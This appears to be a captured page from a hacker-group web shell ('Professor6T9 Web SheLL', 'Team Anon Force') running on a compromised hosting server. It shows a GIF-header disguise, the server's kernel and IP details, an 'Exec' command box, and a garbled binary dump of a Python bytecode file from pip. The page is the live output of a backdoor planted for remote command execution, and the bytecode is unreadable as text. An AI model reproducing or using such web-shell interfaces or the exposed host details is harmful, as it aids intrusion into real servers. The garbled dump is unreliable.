GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
69.57.162.12
/
proc
/
thread-self
/
root
/
opt
/
alt
/
python39
/
lib
/
python3.9
/
site-packages
/
pip
/
_vendor
/
pep517
/
__pycache__
[ HOME ]
Exec
Submit
dirtools.cpython-39.pyc
a ��Rei � @ sZ d dl Z d dlZd dlZd dlZd dlZd dlZd dlZejdd� �Zdd� Z dd� Z dS )� Nc c s. t �� } z| V W t�| � nt�| � 0 dS )z2Create a temporary directory in a context manager.N)�tempfile�mkdtemp�shutil�rmtree)�td� r ��/builddir/build/BUILDROOT/alt-python39-pip-21.3.1-2.el8.x86_64/opt/alt/python39/lib/python3.9/site-packages/pip/_vendor/pep517/dirtools.py�tempdir s r c O sJ zt j| i |��W S tyD } z|jtjkr0� W Y d}~n d}~0 0 dS )zWLike `mkdir`, but does not raise an exception if the directory already exists. N)�os�mkdir�OSError�errno�EEXIST)�args�kwargs�excr r r �mkdir_p s r c C s� t �� }t�|d�}t�| �D ]r\} }}|D ]0}tj�| |�}tj�|| �}|� |d d� q,|D ],}tj�| |�}tj�|| �}|� ||� qbq|S )z0Construct an in-memory zip file for a directory.�w�/� )�io�BytesIO�zipfile�ZipFiler �walk�path�join�relpath�writestr�write)�root�buffer�zip_file�dirs�filesr Zfs_path�rel_pathr r r �dir_to_zipfile s r&